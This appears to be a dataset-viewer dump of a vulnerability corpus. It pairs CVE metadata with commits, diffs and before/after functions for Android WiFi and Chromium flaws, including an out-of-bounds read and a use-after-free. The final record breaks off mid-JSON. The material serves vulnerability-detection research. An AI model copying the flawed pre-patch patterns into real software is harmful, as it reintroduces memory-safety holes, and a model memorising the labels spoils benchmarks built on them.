Search is not available for this dataset
Unnamed: 0
int64 3
189k
| Access Gained
stringclasses 2
values | Attack Origin
stringclasses 4
values | Authentication Required
stringclasses 3
values | Availability
stringclasses 3
values | CVE ID
stringlengths 13
43
⌀ | CVE Page
stringlengths 45
48
⌀ | CWE ID
stringclasses 90
values | Complexity
stringclasses 4
values | Confidentiality
stringclasses 3
values | Integrity
stringclasses 3
values | Known Exploits
float64 | Publish Date
stringclasses 911
values | Score
float64 0
10
⌀ | Summary
stringlengths 60
1.32k
⌀ | Update Date
stringclasses 671
values | Vulnerability Classification
stringclasses 75
values | add_lines
int64 0
382
| codeLink
stringlengths 46
139
| commit_id
stringlengths 6
81
| commit_message
stringlengths 3
13.3k
⌀ | del_lines
int64 0
459
| file_name
stringlengths 4
100
⌀ | files_changed
stringlengths 345
13.9M
⌀ | func_after
stringlengths 14
235k
| func_before
stringlengths 14
234k
| lang
stringclasses 3
values | lines_after
stringlengths 1
10k
⌀ | lines_before
stringlengths 2
10.2k
⌀ | parentID
stringclasses 626
values | patch
stringlengths 101
359k
| project
stringclasses 305
values | project_after
stringlengths 6
200
| project_before
stringlengths 40
200
| vul
int64 0
1
| vul_func_with_fix
stringlengths 14
235k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
172,251
| null |
Remote
|
Not required
| null |
CVE-2016-3837
|
https://www.cvedetails.com/cve/CVE-2016-3837/
|
CWE-200
|
Medium
|
Partial
| null | null |
2016-08-05
| 4.3
|
service/jni/com_android_server_wifi_WifiNative.cpp in Wi-Fi in Android 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-08-01 allows attackers to obtain sensitive information via a crafted application that provides a MAC address with too few characters, aka internal bug 28164077.
|
2016-11-28
|
+Info
| 0
|
https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/a209ff12ba9617c10550678ff93d01fb72a33399
|
a209ff12ba9617c10550678ff93d01fb72a33399
|
Deal correctly with short strings
The parseMacAddress function anticipates only properly formed
MAC addresses (6 hexadecimal octets separated by ":"). This
change properly deals with situations where the string is
shorter than expected, making sure that the passed in char*
reference in parseHexByte never exceeds the end of the string.
BUG: 28164077
TEST: Added a main function:
int main(int argc, char **argv) {
unsigned char addr[6];
if (argc > 1) {
memset(addr, 0, sizeof(addr));
parseMacAddress(argv[1], addr);
printf("Result: %02x:%02x:%02x:%02x:%02x:%02x\n",
addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]);
}
}
Tested with "", "a" "ab" "ab:c" "abxc".
Change-Id: I0db8d0037e48b62333d475296a45b22ab0efe386
| 0
|
service/jni/com_android_server_wifi_WifiNative.cpp
|
{"filename": "service/jni/com_android_server_wifi_WifiNative.cpp", "raw_url": "https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/a209ff12ba9617c10550678ff93d01fb72a33399/service/jni/com_android_server_wifi_WifiNative.cpp", "patch": "@@ -697,15 +697,23 @@\n\n }\n \n static byte parseHexByte(const char * &str) {\n+ if (str[0] == '\\0') {\n+ ALOGE(\"Passed an empty string\");\n+ return 0;\n+ }\n byte b = parseHexChar(str[0]);\n- if (str[1] == ':' || str[1] == '\\0') {\n- str += 2;\n- return b;\n+ if (str[1] == '\\0' || str[1] == ':') {\n+ str ++;\n } else {\n b = b << 4 | parseHexChar(str[1]);\n- str += 3;\n- return b;\n+ str += 2;\n }\n+\n+ // Skip trailing delimiter if not at the end of the string.\n+ if (str[0] != '\\0') {\n+ str++;\n+ }\n+ return b;\n }\n \n static void parseMacAddress(const char *str, mac_addr addr) {\n"}
|
static jobject android_net_wifi_get_driver_version(JNIEnv *env, jclass cls, jint iface) {
JNIHelper helper(env);
int buffer_length = 256;
char *buffer = (char *)malloc(buffer_length);
if (!buffer) return NULL;
memset(buffer, 0, buffer_length);
wifi_interface_handle handle = getIfaceHandle(helper, cls, iface);
ALOGD("android_net_wifi_get_driver_version = %p", handle);
if (handle == 0) {
return NULL;
}
wifi_error result = hal_fn.wifi_get_driver_version(handle, buffer, buffer_length);
if (result == WIFI_SUCCESS) {
ALOGD("buffer is %p, length is %d", buffer, buffer_length);
JNIObject<jstring> driver_version = helper.newStringUTF(buffer);
free(buffer);
return driver_version.detach();
} else {
ALOGD("Fail to get driver version");
free(buffer);
return NULL;
}
}
|
static jobject android_net_wifi_get_driver_version(JNIEnv *env, jclass cls, jint iface) {
JNIHelper helper(env);
int buffer_length = 256;
char *buffer = (char *)malloc(buffer_length);
if (!buffer) return NULL;
memset(buffer, 0, buffer_length);
wifi_interface_handle handle = getIfaceHandle(helper, cls, iface);
ALOGD("android_net_wifi_get_driver_version = %p", handle);
if (handle == 0) {
return NULL;
}
wifi_error result = hal_fn.wifi_get_driver_version(handle, buffer, buffer_length);
if (result == WIFI_SUCCESS) {
ALOGD("buffer is %p, length is %d", buffer, buffer_length);
JNIObject<jstring> driver_version = helper.newStringUTF(buffer);
free(buffer);
return driver_version.detach();
} else {
ALOGD("Fail to get driver version");
free(buffer);
return NULL;
}
}
|
C
| null | null | null |
@@ -697,15 +697,23 @@
}
static byte parseHexByte(const char * &str) {
+ if (str[0] == '\0') {
+ ALOGE("Passed an empty string");
+ return 0;
+ }
byte b = parseHexChar(str[0]);
- if (str[1] == ':' || str[1] == '\0') {
- str += 2;
- return b;
+ if (str[1] == '\0' || str[1] == ':') {
+ str ++;
} else {
b = b << 4 | parseHexChar(str[1]);
- str += 3;
- return b;
+ str += 2;
}
+
+ // Skip trailing delimiter if not at the end of the string.
+ if (str[0] != '\0') {
+ str++;
+ }
+ return b;
}
static void parseMacAddress(const char *str, mac_addr addr) {
|
Android
|
https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/a209ff12ba9617c10550678ff93d01fb72a33399/
|
https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/a209ff12ba9617c10550678ff93d01fb72a33399%5E/
| 0
|
static jobject android_net_wifi_get_driver_version(JNIEnv *env, jclass cls, jint iface) {
//Need to be fixed. The memory should be allocated from lower layer
//char *buffer = NULL;
JNIHelper helper(env);
int buffer_length = 256;
char *buffer = (char *)malloc(buffer_length);
if (!buffer) return NULL;
memset(buffer, 0, buffer_length);
wifi_interface_handle handle = getIfaceHandle(helper, cls, iface);
ALOGD("android_net_wifi_get_driver_version = %p", handle);
if (handle == 0) {
return NULL;
}
wifi_error result = hal_fn.wifi_get_driver_version(handle, buffer, buffer_length);
if (result == WIFI_SUCCESS) {
ALOGD("buffer is %p, length is %d", buffer, buffer_length);
JNIObject<jstring> driver_version = helper.newStringUTF(buffer);
free(buffer);
return driver_version.detach();
} else {
ALOGD("Fail to get driver version");
free(buffer);
return NULL;
}
}
|
141,602
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-5156
|
https://www.cvedetails.com/cve/CVE-2016-5156/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2016-09-11
| 6.8
|
extensions/renderer/event_bindings.cc in the event bindings in Google Chrome before 53.0.2785.89 on Windows and OS X and before 53.0.2785.92 on Linux attempts to process filtered events after failure to add an event matcher, which allows remote attackers to cause a denial of service (use-after-free) or possibly have unspecified other impact via unknown vectors.
|
2018-10-30
|
DoS
| 0
|
https://github.com/chromium/chromium/commit/ba011d9f8322c62633a069a59c2c5525e3ff46cc
|
ba011d9f8322c62633a069a59c2c5525e3ff46cc
|
Ignore filtered event if an event matcher cannot be added.
BUG=625404
Review-Url: https://codereview.chromium.org/2236133002
Cr-Commit-Position: refs/heads/master@{#411472}
| 0
|
extensions/renderer/event_bindings.cc
|
{"sha": "db5fb60f428af90a3ce4ba3edcfee6a77b1a6729", "filename": "extensions/renderer/event_bindings.cc", "status": "modified", "additions": 7, "deletions": 3, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/ba011d9f8322c62633a069a59c2c5525e3ff46cc/extensions/renderer/event_bindings.cc", "raw_url": "https://github.com/chromium/chromium/raw/ba011d9f8322c62633a069a59c2c5525e3ff46cc/extensions/renderer/event_bindings.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/extensions/renderer/event_bindings.cc?ref=ba011d9f8322c62633a069a59c2c5525e3ff46cc", "patch": "@@ -272,14 +272,18 @@ void EventBindings::AttachFilteredEvent(\n filter = base::DictionaryValue::From(std::move(filter_value));\n }\n \n- // Hold onto a weak reference to |filter| so that it can be used after passing\n- // ownership to |event_filter|.\n- base::DictionaryValue* filter_weak = filter.get();\n int id = g_event_filter.Get().AddEventMatcher(\n event_name, ParseEventMatcher(std::move(filter)));\n+ if (id == -1) {\n+ args.GetReturnValue().Set(static_cast<int32_t>(-1));\n+ return;\n+ }\n attached_matcher_ids_.insert(id);\n \n // Only send IPCs the first time a filter gets added.\n+ const EventMatcher* matcher = g_event_filter.Get().GetEventMatcher(id);\n+ DCHECK(matcher);\n+ base::DictionaryValue* filter_weak = matcher->value();\n std::string extension_id = context()->GetExtensionID();\n if (AddFilter(event_name, extension_id, *filter_weak)) {\n bool lazy = ExtensionFrameHelper::IsContextForEventPage(context());"}
|
EventBindings::~EventBindings() {}
|
EventBindings::~EventBindings() {}
|
C
| null | null | null |
@@ -272,14 +272,18 @@ void EventBindings::AttachFilteredEvent(
filter = base::DictionaryValue::From(std::move(filter_value));
}
- // Hold onto a weak reference to |filter| so that it can be used after passing
- // ownership to |event_filter|.
- base::DictionaryValue* filter_weak = filter.get();
int id = g_event_filter.Get().AddEventMatcher(
event_name, ParseEventMatcher(std::move(filter)));
+ if (id == -1) {
+ args.GetReturnValue().Set(static_cast<int32_t>(-1));
+ return;
+ }
attached_matcher_ids_.insert(id);
// Only send IPCs the first time a filter gets added.
+ const EventMatcher* matcher = g_event_filter.Get().GetEventMatcher(id);
+ DCHECK(matcher);
+ base::DictionaryValue* filter_weak = matcher->value();
std::string extension_id = context()->GetExtensionID();
if (AddFilter(event_name, extension_id, *filter_weak)) {
bool lazy = ExtensionFrameHelper::IsContextForEventPage(context());
|
Chrome
|
ba011d9f8322c62633a069a59c2c5525e3ff46cc
|
17a812f225abd54e84dbe4f74c9619d4bdab3cbf
| 0
|
EventBindings::~EventBindings() {}
|
113,164
| null |
Remote
|
Not required
|
Partial
|
CVE-2012-2895
|
https://www.cvedetails.com/cve/CVE-2012-2895/
|
CWE-119
|
Medium
|
Partial
|
Partial
| null |
2012-09-26
| 6.8
|
The PDF functionality in Google Chrome before 22.0.1229.79 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors that trigger out-of-bounds write operations.
|
2017-09-18
|
DoS Overflow
| 0
|
https://github.com/chromium/chromium/commit/3475f5e448ddf5e48888f3d0563245cc46e3c98b
|
3475f5e448ddf5e48888f3d0563245cc46e3c98b
|
ash: Add launcher overflow bubble.
- Host a LauncherView in bubble to display overflown items;
- Mouse wheel and two-finger scroll to scroll the LauncherView in bubble in case overflow bubble is overflown;
- Fit bubble when items are added/removed;
- Keep launcher bar on screen when the bubble is shown;
BUG=128054
TEST=Verify launcher overflown items are in a bubble instead of menu.
Review URL: https://chromiumcodereview.appspot.com/10659003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@146460 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
ash/launcher/launcher.cc
|
{"sha": "62ca10dad9e69031c752bf990e997abd4f7e63ec", "filename": "ash/ash.gyp", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/ash.gyp", "raw_url": "https://github.com/chromium/chromium/raw/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/ash.gyp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ash/ash.gyp?ref=3475f5e448ddf5e48888f3d0563245cc46e3c98b", "patch": "@@ -94,6 +94,8 @@\n 'launcher/launcher_types.h',\n 'launcher/launcher_view.cc',\n 'launcher/launcher_view.h',\n+ 'launcher/overflow_bubble.cc',\n+ 'launcher/overflow_bubble.h',\n 'launcher/tabbed_launcher_button.cc',\n 'launcher/tabbed_launcher_button.h',\n 'magnifier/magnification_controller.cc',"}<_**next**_>{"sha": "847509714f35f770f93d0d9a2bd5199bbf3cb9df", "filename": "ash/launcher/launcher.cc", "status": "modified", "additions": 7, "deletions": 1, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/launcher.cc", "raw_url": "https://github.com/chromium/chromium/raw/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/launcher.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ash/launcher/launcher.cc?ref=3475f5e448ddf5e48888f3d0563245cc46e3c98b", "patch": "@@ -4,6 +4,8 @@\n \n #include \"ash/launcher/launcher.h\"\n \n+#include <algorithm>\n+\n #include \"ash/focus_cycler.h\"\n #include \"ash/launcher/launcher_delegate.h\"\n #include \"ash/launcher/launcher_model.h\"\n@@ -33,7 +35,7 @@ const int kBackgroundAlpha = 128;\n // The contents view of the Widget. This view contains LauncherView and\n // sizes it to the width of the widget minus the size of the status area.\n class Launcher::DelegateView : public views::WidgetDelegate,\n- public views::AccessiblePaneView{\n+ public views::AccessiblePaneView {\n public:\n explicit DelegateView(Launcher* launcher);\n virtual ~DelegateView();\n@@ -211,6 +213,10 @@ bool Launcher::IsShowingMenu() const {\n return launcher_view_->IsShowingMenu();\n }\n \n+bool Launcher::IsShowingOverflowBubble() const {\n+ return launcher_view_->IsShowingOverflowBubble();\n+}\n+\n views::View* Launcher::GetAppListButtonView() const {\n return launcher_view_->GetAppListButtonView();\n }"}<_**next**_>{"sha": "8ee093ac48e6a932e4d8bba3381592b1dcf80284", "filename": "ash/launcher/launcher.h", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/launcher.h", "raw_url": "https://github.com/chromium/chromium/raw/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/launcher.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ash/launcher/launcher.h?ref=3475f5e448ddf5e48888f3d0563245cc46e3c98b", "patch": "@@ -78,6 +78,8 @@ class ASH_EXPORT Launcher : public internal::BackgroundAnimatorDelegate {\n // Returns true if the Launcher is showing a context menu.\n bool IsShowingMenu() const;\n \n+ bool IsShowingOverflowBubble() const;\n+\n views::View* GetAppListButtonView() const;\n \n // Only to be called for testing. Retrieves the LauncherView."}<_**next**_>{"sha": "9991bdb9b22c306e34575492abf492afa4105957", "filename": "ash/launcher/launcher_view.cc", "status": "modified", "additions": 77, "deletions": 65, "changes": 142, "blob_url": "https://github.com/chromium/chromium/blob/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/launcher_view.cc", "raw_url": "https://github.com/chromium/chromium/raw/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/launcher_view.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ash/launcher/launcher_view.cc?ref=3475f5e448ddf5e48888f3d0563245cc46e3c98b", "patch": "@@ -12,6 +12,7 @@\n #include \"ash/launcher/launcher_icon_observer.h\"\n #include \"ash/launcher/launcher_model.h\"\n #include \"ash/launcher/launcher_tooltip_manager.h\"\n+#include \"ash/launcher/overflow_bubble.h\"\n #include \"ash/launcher/tabbed_launcher_button.h\"\n #include \"ash/shell.h\"\n #include \"ash/shell_delegate.h\"\n@@ -44,8 +45,8 @@ using views::View;\n namespace ash {\n namespace internal {\n \n-// Amount content is inset on the left edge.\n-static const int kLeadingInset = 8;\n+// Default amount content is inset on the left edge.\n+static const int kDefaultLeadingInset = 8;\n \n // Minimum distance before drag starts.\n static const int kMinimumDragDistance = 8;\n@@ -267,14 +268,16 @@ LauncherView::LauncherView(LauncherModel* model,\n : model_(model),\n delegate_(delegate),\n view_model_(new views::ViewModel),\n+ first_visible_index_(0),\n last_visible_index_(-1),\n overflow_button_(NULL),\n dragging_(false),\n drag_view_(NULL),\n drag_offset_(0),\n start_drag_index_(-1),\n context_menu_id_(0),\n- alignment_(SHELF_ALIGNMENT_BOTTOM) {\n+ alignment_(SHELF_ALIGNMENT_BOTTOM),\n+ leading_inset_(kDefaultLeadingInset) {\n DCHECK(model_);\n bounds_animator_.reset(new views::BoundsAnimator(this));\n bounds_animator_->AddObserver(this);\n@@ -303,6 +306,8 @@ void LauncherView::Init() {\n \n overflow_button_ = new views::ImageButton(this);\n overflow_button_->set_accessibility_focusable(true);\n+ overflow_button_->SetImageAlignment(views::ImageButton::ALIGN_CENTER,\n+ views::ImageButton::ALIGN_MIDDLE);\n overflow_button_->SetImage(\n views::CustomButton::BS_NORMAL,\n rb.GetImageNamed(IDR_AURA_LAUNCHER_OVERFLOW).ToImageSkia());\n@@ -328,6 +333,8 @@ void LauncherView::SetAlignment(ShelfAlignment alignment) {\n UpdateFirstButtonPadding();\n LayoutToIdealBounds();\n tooltip_->SetArrowLocation(alignment_);\n+ if (overflow_bubble_.get())\n+ overflow_bubble_->Hide();\n }\n \n gfx::Rect LauncherView::GetIdealBoundsOfItemIcon(LauncherID id) {\n@@ -346,14 +353,16 @@ gfx::Rect LauncherView::GetIdealBoundsOfItemIcon(LauncherID id) {\n \n bool LauncherView::IsShowingMenu() const {\n #if !defined(OS_MACOSX)\n- return (overflow_menu_runner_.get() &&\n- overflow_menu_runner_->IsRunning()) ||\n- (launcher_menu_runner_.get() &&\n+ return (launcher_menu_runner_.get() &&\n launcher_menu_runner_->IsRunning());\n #endif\n return false;\n }\n \n+bool LauncherView::IsShowingOverflowBubble() const {\n+ return overflow_bubble_.get() && overflow_bubble_->IsShowing();\n+}\n+\n views::View* LauncherView::GetAppListButtonView() const {\n for (int i = 0; i < model_->item_count(); ++i) {\n if (model_->items()[i].type == TYPE_APP_LIST)\n@@ -396,30 +405,44 @@ void LauncherView::CalculateIdealBounds(IdealBounds* bounds) {\n if (!available_size)\n return;\n \n- int x = primary_axis_coordinate(kLeadingInset, 0);\n- int y = primary_axis_coordinate(0, kLeadingInset);\n+ int x = primary_axis_coordinate(leading_inset(), 0);\n+ int y = primary_axis_coordinate(0, leading_inset());\n for (int i = 0; i < view_model_->view_size(); ++i) {\n+ if (i < first_visible_index_) {\n+ view_model_->set_ideal_bounds(i, gfx::Rect(x, y, 0, 0));\n+ continue;\n+ }\n+\n view_model_->set_ideal_bounds(i, gfx::Rect(\n x, y, kLauncherPreferredSize, kLauncherPreferredSize));\n x = primary_axis_coordinate(x + kLauncherPreferredSize + kButtonSpacing, 0);\n y = primary_axis_coordinate(0, y + kLauncherPreferredSize + kButtonSpacing);\n }\n \n+ int app_list_index = view_model_->view_size() - 1;\n+ if (is_overflow_mode()) {\n+ last_visible_index_ = app_list_index - 1;\n+ for (int i = 0; i < view_model_->view_size(); ++i) {\n+ view_model_->view_at(i)->SetVisible(\n+ i >= first_visible_index_ && i <= last_visible_index_);\n+ }\n+ return;\n+ }\n+\n if (view_model_->view_size() > 0) {\n // Makes the first launcher button include the leading inset.\n view_model_->set_ideal_bounds(0, gfx::Rect(gfx::Size(\n- primary_axis_coordinate(kLeadingInset + kLauncherPreferredSize,\n+ primary_axis_coordinate(leading_inset() + kLauncherPreferredSize,\n kLauncherPreferredSize),\n primary_axis_coordinate(kLauncherPreferredSize,\n- kLeadingInset + kLauncherPreferredSize))));\n+ leading_inset() + kLauncherPreferredSize))));\n }\n \n bounds->overflow_bounds.set_size(\n gfx::Size(kLauncherPreferredSize, kLauncherPreferredSize));\n last_visible_index_ = DetermineLastVisibleIndex(\n- available_size - kLeadingInset - kLauncherPreferredSize -\n+ available_size - leading_inset() - kLauncherPreferredSize -\n kButtonSpacing - kLauncherPreferredSize);\n- int app_list_index = view_model_->view_size() - 1;\n bool show_overflow = (last_visible_index_ + 1 < app_list_index);\n \n for (int i = 0; i < view_model_->view_size(); ++i) {\n@@ -431,22 +454,25 @@ void LauncherView::CalculateIdealBounds(IdealBounds* bounds) {\n if (show_overflow) {\n DCHECK_NE(0, view_model_->view_size());\n if (last_visible_index_ == -1) {\n- x = primary_axis_coordinate(kLeadingInset, 0);\n- y = primary_axis_coordinate(0, kLeadingInset);\n+ x = primary_axis_coordinate(leading_inset(), 0);\n+ y = primary_axis_coordinate(0, leading_inset());\n } else {\n x = primary_axis_coordinate(\n view_model_->ideal_bounds(last_visible_index_).right(), 0);\n y = primary_axis_coordinate(0,\n view_model_->ideal_bounds(last_visible_index_).bottom());\n }\n gfx::Rect app_list_bounds = view_model_->ideal_bounds(app_list_index);\n+ bounds->overflow_bounds.set_x(x);\n+ bounds->overflow_bounds.set_y(y);\n+ x = primary_axis_coordinate(x + kLauncherPreferredSize + kButtonSpacing, 0);\n+ y = primary_axis_coordinate(0, y + kLauncherPreferredSize + kButtonSpacing);\n app_list_bounds.set_x(x);\n app_list_bounds.set_y(y);\n view_model_->set_ideal_bounds(app_list_index, app_list_bounds);\n- x = primary_axis_coordinate(x + kLauncherPreferredSize + kButtonSpacing, 0);\n- y = primary_axis_coordinate(0, y + kLauncherPreferredSize + kButtonSpacing);\n- bounds->overflow_bounds.set_x(x);\n- bounds->overflow_bounds.set_y(y);\n+ } else {\n+ if (overflow_bubble_.get())\n+ overflow_bubble_->Hide();\n }\n }\n \n@@ -686,41 +712,20 @@ void LauncherView::GetOverflowItems(std::vector<LauncherItem>* items) {\n }\n }\n \n-void LauncherView::ShowOverflowMenu() {\n-#if !defined(OS_MACOSX)\n- if (!delegate_)\n- return;\n+void LauncherView::ShowOverflowBubble() {\n+ int first_overflow_index = last_visible_index_ + 1;\n+ DCHECK_LT(first_overflow_index, view_model_->view_size() - 1);\n \n- std::vector<LauncherItem> items;\n- GetOverflowItems(&items);\n- if (items.empty())\n- return;\n+ if (!overflow_bubble_.get())\n+ overflow_bubble_.reset(new OverflowBubble());\n \n- MenuDelegateImpl menu_delegate;\n- ui::SimpleMenuModel menu_model(&menu_delegate);\n- for (size_t i = 0; i < items.size(); ++i)\n- menu_model.AddItem(static_cast<int>(i), delegate_->GetTitle(items[i]));\n- views::MenuModelAdapter menu_adapter(&menu_model);\n- overflow_menu_runner_.reset(new views::MenuRunner(menu_adapter.CreateMenu()));\n- gfx::Rect bounds(overflow_button_->size());\n- gfx::Point origin;\n- ConvertPointToScreen(overflow_button_, &origin);\n- if (overflow_menu_runner_->RunMenuAt(GetWidget(), NULL,\n- gfx::Rect(origin, size()), views::MenuItemView::TOPLEFT, 0) ==\n- views::MenuRunner::MENU_DELETED)\n- return;\n+ overflow_bubble_->Show(delegate_,\n+ model_,\n+ overflow_button_,\n+ alignment_,\n+ first_overflow_index);\n \n Shell::GetInstance()->UpdateShelfVisibility();\n-\n- if (menu_delegate.activated_command_id() == -1)\n- return;\n-\n- LauncherID activated_id = items[menu_delegate.activated_command_id()].id;\n- LauncherItems::const_iterator window_iter = model_->ItemByID(activated_id);\n- if (window_iter == model_->items().end())\n- return; // Window was deleted while menu was up.\n- delegate_->ItemClicked(*window_iter, ui::EF_NONE);\n-#endif // !defined(OS_MACOSX)\n }\n \n void LauncherView::UpdateFirstButtonPadding() {\n@@ -729,8 +734,8 @@ void LauncherView::UpdateFirstButtonPadding() {\n // and when shelf alignment changes.\n if (view_model_->view_size() > 0) {\n view_model_->view_at(0)->set_border(views::Border::CreateEmptyBorder(\n- primary_axis_coordinate(0, kLeadingInset),\n- primary_axis_coordinate(kLeadingInset, 0),\n+ primary_axis_coordinate(0, leading_inset()),\n+ primary_axis_coordinate(leading_inset(), 0),\n 0,\n 0));\n }\n@@ -775,28 +780,32 @@ int LauncherView::CancelDrag(int modified_index) {\n gfx::Size LauncherView::GetPreferredSize() {\n IdealBounds ideal_bounds;\n CalculateIdealBounds(&ideal_bounds);\n+\n+ const int app_list_index = view_model_->view_size() - 1;\n+ const int last_button_index = is_overflow_mode() ?\n+ last_visible_index_ : app_list_index;\n+ const gfx::Rect last_button_bounds =\n+ last_button_index >= first_visible_index_ ?\n+ view_model_->view_at(last_button_index)->bounds() :\n+ gfx::Rect(gfx::Size(kLauncherPreferredSize,\n+ kLauncherPreferredSize));\n+\n if (is_horizontal_alignment()) {\n- if (view_model_->view_size() >= 2) {\n- // Should always have two items.\n- return gfx::Size(view_model_->ideal_bounds(1).right() + kLeadingInset,\n- kLauncherPreferredSize);\n- }\n- return gfx::Size(kLauncherPreferredSize * 2 + kLeadingInset * 2,\n+ return gfx::Size(last_button_bounds.right() + leading_inset(),\n kLauncherPreferredSize);\n }\n- if (view_model_->view_size() >= 2) {\n- // Should always have two items.\n- return gfx::Size(kLauncherPreferredSize,\n- view_model_->ideal_bounds(1).bottom() + kLeadingInset);\n- }\n+\n return gfx::Size(kLauncherPreferredSize,\n- kLauncherPreferredSize * 2 + kLeadingInset * 2);\n+ last_button_bounds.bottom() + leading_inset());\n }\n \n void LauncherView::OnBoundsChanged(const gfx::Rect& previous_bounds) {\n LayoutToIdealBounds();\n FOR_EACH_OBSERVER(LauncherIconObserver, observers_,\n OnLauncherIconPositionsChanged());\n+\n+ if (IsShowingOverflowBubble())\n+ overflow_bubble_->Hide();\n }\n \n views::FocusTraversable* LauncherView::GetPaneFocusTraversable() {\n@@ -1002,8 +1011,10 @@ void LauncherView::ButtonPressed(views::Button* sender,\n if (dragging_)\n return;\n \n- if (sender == overflow_button_)\n- ShowOverflowMenu();\n+ if (sender == overflow_button_) {\n+ ShowOverflowBubble();\n+ return;\n+ }\n \n if (!delegate_)\n return;\n@@ -1070,6 +1081,7 @@ void LauncherView::ShowContextMenuForView(views::View* source,\n void LauncherView::OnBoundsAnimatorProgressed(views::BoundsAnimator* animator) {\n FOR_EACH_OBSERVER(LauncherIconObserver, observers_,\n OnLauncherIconPositionsChanged());\n+ PreferredSizeChanged();\n }\n \n void LauncherView::OnBoundsAnimatorDone(views::BoundsAnimator* animator) {"}<_**next**_>{"sha": "086b7241cc3494e9b282c01fb0e8a19f35739b79", "filename": "ash/launcher/launcher_view.h", "status": "modified", "additions": 27, "deletions": 3, "changes": 30, "blob_url": "https://github.com/chromium/chromium/blob/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/launcher_view.h", "raw_url": "https://github.com/chromium/chromium/raw/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/launcher_view.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ash/launcher/launcher_view.h?ref=3475f5e448ddf5e48888f3d0563245cc46e3c98b", "patch": "@@ -41,6 +41,7 @@ namespace internal {\n class LauncherButton;\n class LauncherTooltipManager;\n class ShelfLayoutManager;\n+class OverflowBubble;\n \n class ASH_EXPORT LauncherView : public views::View,\n public LauncherModelObserver,\n@@ -71,6 +72,9 @@ class ASH_EXPORT LauncherView : public views::View,\n // Returns true if we're showing a menu.\n bool IsShowingMenu() const;\n \n+ // Returns true if overflow bubble is shown.\n+ bool IsShowingOverflowBubble() const;\n+\n views::View* GetAppListButtonView() const;\n \n // Returns true if the mouse cursor exits the area for launcher tooltip.\n@@ -79,6 +83,13 @@ class ASH_EXPORT LauncherView : public views::View,\n // of the buttons area.\n bool ShouldHideTooltip(const gfx::Point& cursor_location);\n \n+ void set_first_visible_index(int first_visible_index) {\n+ first_visible_index_ = first_visible_index;\n+ }\n+\n+ int leading_inset() const { return leading_inset_; }\n+ void set_leading_inset(int leading_inset) { leading_inset_ = leading_inset; }\n+\n // Overridden from FocusTraversable:\n virtual views::FocusSearch* GetFocusSearch() OVERRIDE;\n virtual FocusTraversable* GetFocusTraversableParent() OVERRIDE;\n@@ -103,6 +114,10 @@ class ASH_EXPORT LauncherView : public views::View,\n return alignment_ == SHELF_ALIGNMENT_BOTTOM;\n }\n \n+ bool is_overflow_mode() const {\n+ return first_visible_index_ > 0;\n+ }\n+\n // Sets the bounds of each view to its ideal bounds.\n void LayoutToIdealBounds();\n \n@@ -148,7 +163,7 @@ class ASH_EXPORT LauncherView : public views::View,\n void GetOverflowItems(std::vector<LauncherItem>* items);\n \n // Shows the overflow menu.\n- void ShowOverflowMenu();\n+ void ShowOverflowBubble();\n \n // Update first launcher button's padding. This method adds padding to the\n // first button to include the leading inset. It needs to be called once on\n@@ -205,6 +220,11 @@ class ASH_EXPORT LauncherView : public views::View,\n // item in |model_|.\n scoped_ptr<views::ViewModel> view_model_;\n \n+ // Index of first visible launcher item. When it it greater than 0,\n+ // LauncherView is hosted in an overflow bubble. In this mode, it does not\n+ // show browser, app list and overflow button.\n+ int first_visible_index_;\n+\n // Last index of a launcher button that is visible\n // (does not go into overflow).\n int last_visible_index_;\n@@ -213,6 +233,8 @@ class ASH_EXPORT LauncherView : public views::View,\n \n views::ImageButton* overflow_button_;\n \n+ scoped_ptr<OverflowBubble> overflow_bubble_;\n+\n scoped_ptr<LauncherTooltipManager> tooltip_;\n \n // Are we dragging? This is only set if the mouse is dragged far enough to\n@@ -235,15 +257,17 @@ class ASH_EXPORT LauncherView : public views::View,\n scoped_ptr<views::FocusSearch> focus_search_;\n \n #if !defined(OS_MACOSX)\n- scoped_ptr<views::MenuRunner> overflow_menu_runner_;\n-\n scoped_ptr<views::MenuRunner> launcher_menu_runner_;\n #endif\n \n ObserverList<LauncherIconObserver> observers_;\n \n ShelfAlignment alignment_;\n \n+ // Amount content is inset on the left edge (or top edge for vertical\n+ // alignment).\n+ int leading_inset_;\n+\n DISALLOW_COPY_AND_ASSIGN(LauncherView);\n };\n "}<_**next**_>{"sha": "e335f5b2bb00a6c3a55c6535d9a0a267b2204b1c", "filename": "ash/launcher/overflow_bubble.cc", "status": "added", "additions": 291, "deletions": 0, "changes": 291, "blob_url": 